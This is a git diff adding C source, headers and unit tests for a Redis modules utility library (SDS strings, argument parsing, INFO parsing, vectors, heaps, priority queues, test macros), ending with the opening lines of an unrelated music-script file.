sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count);
void sdsfreesplitres(sds *tokens, int count);
void sdstolower(sds s);
void sdstoupper(sds s);
sds sdsfromlonglong(long long value);
sds sdscatrepr(sds s, const char *p, size_t len);
sds *sdssplitargs(const char *line, int *argc);
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen);
sds sdsjoin(char **argv, int argc, char *sep);
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen);
/* Low level functions exposed to the user API */
sds sdsMakeRoomFor(sds s, size_t addlen);
void sdsIncrLen(sds s, int incr);
sds sdsRemoveFreeSpace(sds s);
size_t sdsAllocSize(sds s);
void *sdsAllocPtr(sds s);
/* Export the allocator used by SDS to the program using SDS.
* Sometimes the program SDS is linked to, may use a different set of
* allocators, but may want to allocate or free things that SDS will
* respectively free or allocate. */
void *sds_malloc(size_t size);
void *sds_realloc(void *ptr, size_t size);
void sds_free(void *ptr);
#ifdef REDIS_TEST
int sdsTest(int argc, char *argv[]);
#endif
#endif
+47
View File
@@ -0,0 +1,47 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/* SDS allocator selection.
*
* This file is used in order to change the SDS allocator at compile time.
* Just define the following defines to what you want to use. Also add
* the include of your alternate allocator if needed (not needed in order
* to use the default libc allocator). */
#if defined(__MACH__)
#include <stdlib.h>
#else
#include <malloc.h>
#endif
//#include "zmalloc.h"
#define s_malloc malloc
#define s_realloc realloc
#define s_free free
+81
View File
@@ -0,0 +1,81 @@
#include <string.h>
#include <sys/param.h>
#include <ctype.h>
#include "strings.h"
#include "alloc.h"
#include "sds.h"
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...) {
// sds s = sdsempty();
// va_list ap;
// va_start(ap, fmt);
// s = sdscatvprintf(s, fmt, ap);
// va_end(ap);
// RedisModuleString *ret = RedisModule_CreateString(ctx, (const char *)s, sdslen(s));
// sdsfree(s);
// return ret;
// }
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2) {
const char *c1, *c2;
size_t l1, l2;
c1 = RedisModule_StringPtrLen(s1, &l1);
c2 = RedisModule_StringPtrLen(s2, &l2);
if (l1 != l2) return 0;
return strncmp(c1, c2, l1) == 0;
}
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2) {
const char *c1;
size_t l1, l2 = strlen(s2);
c1 = RedisModule_StringPtrLen(s1, &l1);
if (l1 != l2) return 0;
return strncmp(c1, s2, l1) == 0;
}
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2) {
const char *c1;
size_t l1, l2 = strlen(s2);
c1 = RedisModule_StringPtrLen(s1, &l1);
if (l1 != l2) return 0;
return strncasecmp(c1, s2, l1) == 0;
}
void RMUtil_StringToLower(RedisModuleString *s) {
size_t l;
char *c = (char *)RedisModule_StringPtrLen(s, &l);
size_t i;
for (i = 0; i < l; i++) {
*c = tolower(*c);
++c;
}
}
void RMUtil_StringToUpper(RedisModuleString *s) {
size_t l;
char *c = (char *)RedisModule_StringPtrLen(s, &l);
size_t i;
for (i = 0; i < l; i++) {
*c = toupper(*c);
++c;
}
}
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options) {
for (size_t ii = 0; ii < n; ++ii) {
const char *p = RedisModule_StringPtrLen(rs[ii], NULL);
if (options & RMUTIL_STRINGCONVERT_COPY) {
p = strdup(p);
}
ss[ii] = p;
}
}
+38
View File
@@ -0,0 +1,38 @@
#ifndef __RMUTIL_STRINGS_H__
#define __RMUTIL_STRINGS_H__
#include <redismodule.h>
/*
* Create a new RedisModuleString object from a printf-style format and arguments.
* Note that RedisModuleString objects CANNOT be used as formatting arguments.
*/
// DEPRECATED since it was added to the RedisModule API. Replaced with a macro below
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...);
#define RMUtil_CreateFormattedString RedisModule_CreateStringPrintf
/* Return 1 if the two strings are equal. Case *sensitive* */
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2);
/* Return 1 if the string is equal to a C NULL terminated string. Case *sensitive* */
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2);
/* Return 1 if the string is equal to a C NULL terminated string. Case *insensitive* */
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2);
/* Converts a redis string to lowercase in place without reallocating anything */
void RMUtil_StringToLower(RedisModuleString *s);
/* Converts a redis string to uppercase in place without reallocating anything */
void RMUtil_StringToUpper(RedisModuleString *s);
// If set, copy the strings using strdup rather than simply storing pointers.
#define RMUTIL_STRINGCONVERT_COPY 1
/**
* Convert one or more RedisModuleString objects into `const char*`.
* Both rs and ss are arrays, and should be of <n> length.
* Options may be 0 or `RMUTIL_STRINGCONVERT_COPY`
*/
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options);
#endif
+69
View File
@@ -0,0 +1,69 @@
#ifndef __TESTUTIL_H__
#define __TESTUTIL_H__
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
static int numTests = 0;
static int numAsserts = 0;
#define TESTFUNC(f) \
printf(" Testing %s\t\t", __STRING(f)); \
numTests++; \
fflush(stdout); \
if (f()) { \
printf(" %s FAILED!\n", __STRING(f)); \
exit(1); \
} else \
printf("[PASS]\n");
#define ASSERTM(expr, ...) \
if (!(expr)) { \
fprintf(stderr, "%s:%d: Assertion '%s' Failed: " __VA_ARGS__ "\n", __FILE__, __LINE__, \
__STRING(expr)); \
return -1; \
} \
numAsserts++;
#define ASSERT(expr) \
if (!(expr)) { \
fprintf(stderr, "%s:%d Assertion '%s' Failed\n", __FILE__, __LINE__, __STRING(expr)); \
return -1; \
} \
numAsserts++;
#define ASSERT_STRING_EQ(s1, s2) ASSERT(!strcmp(s1, s2));
#define ASSERT_EQUAL(x, y, ...) \
if (x != y) { \
fprintf(stderr, "%s:%d: ", __FILE__, __LINE__); \
fprintf(stderr, "%g != %g: " __VA_ARGS__ "\n", (double)x, (double)y); \
return -1; \
} \
numAsserts++;
#define FAIL(fmt, ...) \
{ \
fprintf(stderr, "%s:%d: FAIL: " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__); \
return -1; \
}
#define RETURN_TEST_SUCCESS return 0;
#define TEST_CASE(x, block) \
int x { \
block; \
return 0 \
}
#define PRINT_TEST_SUMMARY printf("\nTotal: %d tests and %d assertions OK\n", numTests, numAsserts);
#define TEST_MAIN(body) \
int main(int argc, char **argv) { \
printf("Starting Test '%s'...\n", argv[0]); \
body; \
PRINT_TEST_SUMMARY; \
printf("\n--------------------\n\n"); \
return 0; \
}
#endif
+38
View File
@@ -0,0 +1,38 @@
#include <stdio.h>
#include "heap.h"
#include "assert.h"
int cmp(void *a, void *b) {
int *__a = (int *) a;
int *__b = (int *) b;
return *__a - *__b;
}
int main(int argc, char **argv) {
int myints[] = {10, 20, 30, 5, 15};
Vector *v = NewVector(int, 5);
for (int i = 0; i < 5; i++) {
Vector_Push(v, myints[i]);
}
Make_Heap(v, 0, v->top, cmp);
int n;
Vector_Get(v, 0, &n);
assert(30 == n);
Heap_Pop(v, 0, v->top, cmp);
v->top = 4;
Vector_Get(v, 0, &n);
assert(20 == n);
Vector_Push(v, 99);
Heap_Push(v, 0, v->top, cmp);
Vector_Get(v, 0, &n);
assert(99 == n);
Vector_Free(v);
printf("PASS!\n");
return 0;
}
@@ -0,0 +1,26 @@
#include <stdio.h>
#include <redismodule.h>
#include <unistd.h>
#include "periodic.h"
#include "assert.h"
#include "test.h"
void timerCb(RedisModuleCtx *ctx, void *p) {
int *x = p;
(*x)++;
}
int testPeriodic() {
int x = 0;
struct RMUtilTimer *tm = RMUtil_NewPeriodicTimer(
timerCb, NULL, &x, (struct timespec){.tv_sec = 0, .tv_nsec = 10000000});
sleep(1);
ASSERT_EQUAL(0, RMUtilTimer_Terminate(tm));
ASSERT(x > 0);
ASSERT(x <= 100);
return 0;
}
TEST_MAIN({ TESTFUNC(testPeriodic); });
@@ -0,0 +1,37 @@
#include <stdio.h>
#include "assert.h"
#include "priority_queue.h"
int cmp(void* i1, void* i2) {
int *__i1 = (int*) i1;
int *__i2 = (int*) i2;
return *__i1 - *__i2;
}
int main(int argc, char **argv) {
PriorityQueue *pq = NewPriorityQueue(int, 10, cmp);
assert(0 == Priority_Queue_Size(pq));
for (int i = 0; i < 5; i++) {
Priority_Queue_Push(pq, i);
}
assert(5 == Priority_Queue_Size(pq));
Priority_Queue_Pop(pq);
assert(4 == Priority_Queue_Size(pq));
Priority_Queue_Push(pq, 10);
Priority_Queue_Push(pq, 20);
Priority_Queue_Push(pq, 15);
int n;
Priority_Queue_Top(pq, &n);
assert(20 == n);
Priority_Queue_Pop(pq);
Priority_Queue_Top(pq, &n);
assert(15 == n);
Priority_Queue_Free(pq);
printf("PASS!\n");
return 0;
}
+67
View File
@@ -0,0 +1,67 @@
#ifndef __TEST_UTIL_H__
#define __TEST_UTIL_H__
#include "util.h"
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#define RMUtil_Test(f) \
if (argc < 2 || RMUtil_ArgExists(__STRING(f), argv, argc, 1)) { \
int rc = f(ctx); \
if (rc != REDISMODULE_OK) { \
RedisModule_ReplyWithError(ctx, "Test " __STRING(f) " FAILED"); \
return REDISMODULE_ERR;\
}\
}
#define RMUtil_Assert(expr) if (!(expr)) { fprintf (stderr, "Assertion '%s' Failed\n", __STRING(expr)); return REDISMODULE_ERR; }
#define RMUtil_AssertReplyEquals(rep, cstr) RMUtil_Assert( \
RMUtil_StringEquals(RedisModule_CreateStringFromCallReply(rep), RedisModule_CreateString(ctx, cstr, strlen(cstr))) \
)
#
/**
* Create an arg list to pass to a redis command handler manually, based on the format in fmt.
* The accepted format specifiers are:
* c - for null terminated c strings
* s - for RedisModuleString* objects
* l - for longs
*
* Example: RMUtil_MakeArgs(ctx, &argc, "clc", "hello", 1337, "world");
*
* Returns an array of RedisModuleString pointers. The size of the array is store in argcp
*/
RedisModuleString **RMUtil_MakeArgs(RedisModuleCtx *ctx, int *argcp, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
RedisModuleString **argv = calloc(strlen(fmt), sizeof(RedisModuleString*));
int argc = 0;
const char *p = fmt;
while(*p) {
if (*p == 'c') {
char *cstr = va_arg(ap,char*);
argv[argc++] = RedisModule_CreateString(ctx, cstr, strlen(cstr));
} else if (*p == 's') {
argv[argc++] = va_arg(ap,void*);;
} else if (*p == 'l') {
long ll = va_arg(ap,long long);
argv[argc++] = RedisModule_CreateStringFromLongLong(ctx, ll);
} else {
goto fmterr;
}
p++;
}
*argcp = argc;
return argv;
fmterr:
free(argv);
return NULL;
}
#endif
+58
View File
@@ -0,0 +1,58 @@
#include "vector.h"
#include <stdio.h>
#include "test.h"
int testVector() {
Vector *v = NewVector(int, 1);
ASSERT(v != NULL);
// Vector_Put(v, 0, 1);
// Vector_Put(v, 1, 3);
for (int i = 0; i < 10; i++) {
Vector_Push(v, i);
}
ASSERT_EQUAL(10, Vector_Size(v));
ASSERT_EQUAL(16, Vector_Cap(v));
for (int i = 0; i < Vector_Size(v); i++) {
int n;
int rc = Vector_Get(v, i, &n);
ASSERT_EQUAL(1, rc);
// printf("%d %d\n", rc, n);
ASSERT_EQUAL(n, i);
}
Vector_Free(v);
v = NewVector(char *, 0);
int N = 4;
char *strings[4] = {"hello", "world", "foo", "bar"};
for (int i = 0; i < N; i++) {
Vector_Push(v, strings[i]);
}
ASSERT_EQUAL(N, Vector_Size(v));
ASSERT(Vector_Cap(v) >= N);
for (int i = 0; i < Vector_Size(v); i++) {
char *x;
int rc = Vector_Get(v, i, &x);
ASSERT_EQUAL(1, rc);
ASSERT_STRING_EQ(x, strings[i]);
}
int rc = Vector_Get(v, 100, NULL);
ASSERT_EQUAL(0, rc);
Vector_Free(v);
return 0;
// Vector_Push(v, "hello");
// Vector_Push(v, "world");
// char *x = NULL;
// int rc = Vector_Getx(v, 0, &x);
// printf("rc: %d got %s\n", rc, x);
}
TEST_MAIN({ TESTFUNC(testVector); });
+299
View File
@@ -0,0 +1,299 @@
#include <stdlib.h>
#include <errno.h>
#include <math.h>
#include <ctype.h>
#include <sys/time.h>
#include <stdarg.h>
#include <limits.h>
#include <string.h>
#define REDISMODULE_EXPERIMENTAL_API
#include <redismodule.h>
#include "util.h"
/**
Check if an argument exists in an argument list (argv,argc), starting at offset.
@return 0 if it doesn't exist, otherwise the offset it exists in
*/
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset) {
size_t larg = strlen(arg);
for (; offset < argc; offset++) {
size_t l;
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
if (l != larg) continue;
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
return offset;
}
}
return 0;
}
/**
Check if an argument exists in an argument list (argv,argc)
@return -1 if it doesn't exist, otherwise the offset it exists in
*/
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc) {
size_t larg = strlen(arg);
for (int offset = 0; offset < argc; offset++) {
size_t l;
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
if (l != larg) continue;
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
return offset;
}
}
return -1;
}
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx) {
RedisModuleCallReply *r = RedisModule_Call(ctx, "INFO", "c", "all");
if (r == NULL || RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) {
return NULL;
}
int cap = 100; // rough estimate of info lines
RMUtilInfo *info = malloc(sizeof(RMUtilInfo));
info->entries = calloc(cap, sizeof(RMUtilInfoEntry));
int i = 0;
size_t sz;
char *text = (char *)RedisModule_CallReplyStringPtr(r, &sz);
char *line = text;
while (line && line < text + sz) {
char *line = strsep(&text, "\r\n");
if (line == NULL) break;
if (!(*line >= 'a' && *line <= 'z')) { // skip non entry lines
continue;
}
char *key = strsep(&line, ":");
info->entries[i].key = strdup(key);
info->entries[i].val = strdup(line);
i++;
if (i >= cap) {
cap *= 2;
info->entries = realloc(info->entries, cap * sizeof(RMUtilInfoEntry));
}
}
info->numEntries = i;
RedisModule_FreeCallReply(r);
return info;
}
void RMUtilRedisInfo_Free(RMUtilInfo *info) {
for (int i = 0; i < info->numEntries; i++) {
free(info->entries[i].key);
free(info->entries[i].val);
}
free(info->entries);
free(info);
}
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val) {
const char *p = NULL;
if (!RMUtilInfo_GetString(info, key, &p)) {
return 0;
}
*val = strtoll(p, NULL, 10);
if ((errno == ERANGE && (*val == LONG_MAX || *val == LONG_MIN)) || (errno != 0 && *val == 0)) {
*val = -1;
return 0;
}
return 1;
}
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str) {
int i;
for (i = 0; i < info->numEntries; i++) {
if (!strcmp(key, info->entries[i].key)) {
*str = info->entries[i].val;
return 1;
}
}
return 0;
}
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d) {
const char *p = NULL;
if (!RMUtilInfo_GetString(info, key, &p)) {
printf("not found %s\n", key);
return 0;
}
*d = strtod(p, NULL);
if ((errno == ERANGE && (*d == HUGE_VAL || *d == -HUGE_VAL)) || (errno != 0 && *d == 0)) {
return 0;
}
return 1;
}
/*
c -- pointer to a Null terminated C string pointer.
b -- pointer to a C buffer, followed by pointer to a size_t for its length
s -- pointer to a RedisModuleString
l -- pointer to Long long integer.
d -- pointer to a Double
* -- do not parse this argument at all
*/
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
int rc = rmutil_vparseArgs(argv, argc, offset, fmt, ap);
va_end(ap);
return rc;
}
// Internal function that parses arguments based on the format described above
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap) {
int i = offset;
char *c = (char *)fmt;
while (*c && i < argc) {
// read c string
if (*c == 'c') {
char **p = va_arg(ap, char **);
*p = (char *)RedisModule_StringPtrLen(argv[i], NULL);
} else if (*c == 'b') {
char **p = va_arg(ap, char **);
size_t *len = va_arg(ap, size_t *);
*p = (char *)RedisModule_StringPtrLen(argv[i], len);
} else if (*c == 's') { // read redis string
RedisModuleString **s = va_arg(ap, void *);
*s = argv[i];
} else if (*c == 'l') { // read long
long long *l = va_arg(ap, long long *);
if (RedisModule_StringToLongLong(argv[i], l) != REDISMODULE_OK) {
return REDISMODULE_ERR;
}
} else if (*c == 'd') { // read double
double *d = va_arg(ap, double *);
if (RedisModule_StringToDouble(argv[i], d) != REDISMODULE_OK) {
return REDISMODULE_ERR;
}
} else if (*c == '*') { // skip current arg
// do nothing
} else {
return REDISMODULE_ERR; // WAT?
}
c++;
i++;
}
// if the format is longer than argc, retun an error
if (*c != 0) {
return REDISMODULE_ERR;
}
return REDISMODULE_OK;
}
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
...) {
int pos = RMUtil_ArgIndex(token, argv, argc);
if (pos < 0) {
return REDISMODULE_ERR;
}
va_list ap;
va_start(ap, fmt);
int rc = rmutil_vparseArgs(argv, argc, pos + 1, fmt, ap);
va_end(ap);
return rc;
}
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
const char *path) {
if (rep == NULL) return NULL;
RedisModuleCallReply *ele = rep;
const char *s = path;
char *e;
long idx;
do {
errno = 0;
idx = strtol(s, &e, 10);
if ((errno == ERANGE && (idx == LONG_MAX || idx == LONG_MIN)) || (errno != 0 && idx == 0) ||
(REDISMODULE_REPLY_ARRAY != RedisModule_CallReplyType(ele)) || (s == e)) {
ele = NULL;
break;
}
s = e;
ele = RedisModule_CallReplyArrayElement(ele, idx - 1);
} while ((ele != NULL) && (*e != '\0'));
return ele;
}
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out) {
if (key == NULL) {
return RMUTIL_VALUE_MISSING;
}
int keytype = RedisModule_KeyType(key);
if (keytype == REDISMODULE_KEYTYPE_EMPTY) {
return RMUTIL_VALUE_EMPTY;
} else if (keytype == REDISMODULE_KEYTYPE_MODULE && RedisModule_ModuleTypeGetType(key) == type) {
*out = RedisModule_ModuleTypeGetValue(key);
return RMUTIL_VALUE_OK;
} else {
return RMUTIL_VALUE_MISMATCH;
}
}
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
const char *keyword, size_t *nargs) {
if (offset > argc) {
return NULL;
}
argv += offset;
argc -= offset;
int ix = RMUtil_ArgIndex(keyword, argv, argc);
if (ix < 0) {
return NULL;
} else if (ix >= argc - 1) {
*nargs = RMUTIL_VARARGS_BADARG;
return argv;
}
argv += (ix + 1);
argc -= (ix + 1);
long long n = 0;
RMUtil_ParseArgs(argv, argc, 0, "l", &n);
if (n > argc - 1 || n < 0) {
*nargs = RMUTIL_VARARGS_BADARG;
return argv;
}
*nargs = n;
return argv + 1;
}
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value) {
RedisModuleCtx *ctx = RedisModule_GetThreadSafeContext(NULL);
RedisModuleCallReply *rep = RedisModule_Call(ctx, "DUMP", "s", key);
if (rep != NULL && RedisModule_CallReplyType(rep) == REDISMODULE_REPLY_STRING) {
size_t n;
const char *s = RedisModule_CallReplyStringPtr(rep, &n);
RedisModule_EmitAOF(aof, "RESTORE", "slb", key, 0, s, n);
} else {
RedisModule_Log(RedisModule_GetContextFromIO(aof), "warning", "Failed to emit AOF");
}
if (rep != NULL) {
RedisModule_FreeCallReply(rep);
}
RedisModule_FreeThreadSafeContext(ctx);
}
+149
View File
@@ -0,0 +1,149 @@
#ifndef __UTIL_H__
#define __UTIL_H__
#include <redismodule.h>
#include <stdarg.h>
/// make sure the response is not NULL or an error, and if it is sends the error to the client and
/// exit the current function
#define RMUTIL_ASSERT_NOERROR(ctx, r) \
if (r == NULL) { \
return RedisModule_ReplyWithError(ctx, "ERR reply is NULL"); \
} else if (RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) { \
RedisModule_ReplyWithCallReply(ctx, r); \
return REDISMODULE_ERR; \
}
#define __rmutil_register_cmd(ctx, cmd, f, mode) \
if (RedisModule_CreateCommand(ctx, cmd, f, mode, 1, 1, 1) == REDISMODULE_ERR) \
return REDISMODULE_ERR;
#define RMUtil_RegisterReadCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "readonly")
#define RMUtil_RegisterWriteCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "write")
/* RedisModule utilities. */
/** DEPRECATED: Return the offset of an arg if it exists in the arg list, or 0 if it's not there */
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset);
/* Same as argExists but returns -1 if not found. Use this, RMUtil_ArgExists is kept for backwards
compatibility. */
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc);
/**
Automatically conver the arg list to corresponding variable pointers according to a given format.
You pass it the command arg list and count, the starting offset, a parsing format, and pointers to
the variables.
The format is a string consisting of the following identifiers:
c -- pointer to a Null terminated C string pointer.
s -- pointer to a RedisModuleString
l -- pointer to Long long integer.
d -- pointer to a Double
* -- do not parse this argument at all
Example: If I want to parse args[1], args[2] as a long long and double, I do:
double d;
long long l;
RMUtil_ParseArgs(argv, argc, 1, "ld", &l, &d);
*/
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...);
/**
Same as RMUtil_ParseArgs, but only parses the arguments after `token`, if it was found.
This is useful for optional stuff like [LIMIT [offset] [limit]]
*/
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
...);
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap);
#define RMUTIL_VARARGS_BADARG ((size_t)-1)
/**
* Parse arguments in the form of KEYWORD {len} {arg} .. {arg}_len.
* If keyword is present, returns the position within `argv` containing the arguments.
* Returns NULL if the keyword is not found.
* If a parse error has occurred, `nargs` is set to RMUTIL_VARARGS_BADARG, but
* the return value is not NULL.
*/
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
const char *keyword, size_t *nargs);
/**
* Default implementation of an AoF rewrite function that simply calls DUMP/RESTORE
* internally. To use this function, pass it as the .aof_rewrite value in
* RedisModuleTypeMethods
*/
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value);
// A single key/value entry in a redis info map
typedef struct {
char *key;
char *val;
} RMUtilInfoEntry;
// Representation of INFO command response, as a list of k/v pairs
typedef struct {
RMUtilInfoEntry *entries;
int numEntries;
} RMUtilInfo;
/**
* Get redis INFO result and parse it as RMUtilInfo.
* Returns NULL if something goes wrong.
* The resulting object needs to be freed with RMUtilRedisInfo_Free
*/
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx);
/**
* Free an RMUtilInfo object and its entries
*/
void RMUtilRedisInfo_Free(RMUtilInfo *info);
/**
* Get an integer value from an info object. Returns 1 if the value was found and
* is an integer, 0 otherwise. the value is placed in 'val'
*/
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val);
/**
* Get a string value from an info object. The value is placed in str.
* Returns 1 if the key was found, 0 if not
*/
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str);
/**
* Get a double value from an info object. Returns 1 if the value was found and is
* a correctly formatted double, 0 otherwise. the value is placed in 'd'
*/
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d);
/*
* Returns a call reply array's element given by a space-delimited path. E.g.,
* the path "1 2 3" will return the 3rd element from the 2 element of the 1st
* element from an array (or NULL if not found)
*/
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
const char *path);
/**
* Extract the module type from an opened key.
*/
typedef enum {
RMUTIL_VALUE_OK = 0,
RMUTIL_VALUE_MISSING,
RMUTIL_VALUE_EMPTY,
RMUTIL_VALUE_MISMATCH
} RMUtil_TryGetValueStatus;
/**
* Tries to extract the module-specific type from the value.
* @param key an opened key (may be null)
* @param type the pointer to the type to match to
* @param[out] out if the value is present, will be set to it.
* @return a value in the @ref RMUtil_TryGetValueStatus enum.
*/
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out);
#endif
+88
View File
@@ -0,0 +1,88 @@
#include "vector.h"
#include <stdio.h>
inline int __vector_PushPtr(Vector *v, void *elem) {
if (v->top == v->cap) {
Vector_Resize(v, v->cap ? v->cap * 2 : 1);
}
__vector_PutPtr(v, v->top, elem);
return v->top;
}
inline int Vector_Get(Vector *v, size_t pos, void *ptr) {
// return 0 if pos is out of bounds
if (pos >= v->top) {
return 0;
}
memcpy(ptr, v->data + (pos * v->elemSize), v->elemSize);
return 1;
}
/* Get the element at the end of the vector, decreasing the size by one */
inline int Vector_Pop(Vector *v, void *ptr) {
if (v->top > 0) {
if (ptr != NULL) {
Vector_Get(v, v->top - 1, ptr);
}
v->top--;
return 1;
}
return 0;
}
inline int __vector_PutPtr(Vector *v, size_t pos, void *elem) {
// resize if pos is out of bounds
if (pos >= v->cap) {
Vector_Resize(v, pos + 1);
}
if (elem) {
memcpy(v->data + pos * v->elemSize, elem, v->elemSize);
} else {
memset(v->data + pos * v->elemSize, 0, v->elemSize);
}
// move the end offset to pos if we grew
if (pos >= v->top) {
v->top = pos + 1;
}
return 1;
}
int Vector_Resize(Vector *v, size_t newcap) {
int oldcap = v->cap;
v->cap = newcap;
v->data = realloc(v->data, v->cap * v->elemSize);
// If we grew:
// put all zeros at the newly realloc'd part of the vector
if (newcap > oldcap) {
int offset = oldcap * v->elemSize;
memset(v->data + offset, 0, v->cap * v->elemSize - offset);
}
return v->cap;
}
Vector *__newVectorSize(size_t elemSize, size_t cap) {
Vector *vec = malloc(sizeof(Vector));
vec->data = calloc(cap, elemSize);
vec->top = 0;
vec->elemSize = elemSize;
vec->cap = cap;
return vec;
}
void Vector_Free(Vector *v) {
free(v->data);
free(v);
}
/* return the used size of the vector, regardless of capacity */
inline int Vector_Size(Vector *v) { return v->top; }
/* return the actual capacity */
inline int Vector_Cap(Vector *v) { return v->cap; }
+73
View File
@@ -0,0 +1,73 @@
#ifndef __VECTOR_H__
#define __VECTOR_H__
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
/*
* Generic resizable vector that can be used if you just want to store stuff
* temporarily.
* Works like C++ std::vector with an underlying resizable buffer
*/
typedef struct {
char *data;
size_t elemSize;
size_t cap;
size_t top;
} Vector;
/* Create a new vector with element size. This should generally be used
* internall by the NewVector macro */
Vector *__newVectorSize(size_t elemSize, size_t cap);
// Put a pointer in the vector. To be used internall by the library
int __vector_PutPtr(Vector *v, size_t pos, void *elem);
/*
* Create a new vector for a given type and a given capacity.
* e.g. NewVector(int, 0) - empty vector of ints
*/
#define NewVector(type, cap) __newVectorSize(sizeof(type), cap)
/*
* get the element at index pos. The value is copied in to ptr. If pos is outside
* the vector capacity, we return 0
* otherwise 1
*/
int Vector_Get(Vector *v, size_t pos, void *ptr);
/* Get the element at the end of the vector, decreasing the size by one */
int Vector_Pop(Vector *v, void *ptr);
//#define Vector_Getx(v, pos, ptr) pos < v->cap ? 1 : 0; *ptr =
//*(typeof(ptr))(v->data + v->elemSize*pos)
/*
* Put an element at pos.
* Note: If pos is outside the vector capacity, we resize it accordingly
*/
#define Vector_Put(v, pos, elem) __vector_PutPtr(v, pos, elem ? &(typeof(elem)){elem} : NULL)
/* Push an element at the end of v, resizing it if needed. This macro wraps
* __vector_PushPtr */
#define Vector_Push(v, elem) __vector_PushPtr(v, elem ? &(typeof(elem)){elem} : NULL)
int __vector_PushPtr(Vector *v, void *elem);
/* resize capacity of v */
int Vector_Resize(Vector *v, size_t newcap);
/* return the used size of the vector, regardless of capacity */
int Vector_Size(Vector *v);
/* return the actual capacity */
int Vector_Cap(Vector *v);
/* free the vector and the underlying data. Does not release its elements if
* they are pointers*/
void Vector_Free(Vector *v);
int __vecotr_PutPtr(Vector *v, size_t pos, void *elem);
#endif
+58
View File
@@ -0,0 +1,58 @@
use_bpm 130
use_synth_defaults sustain: 0
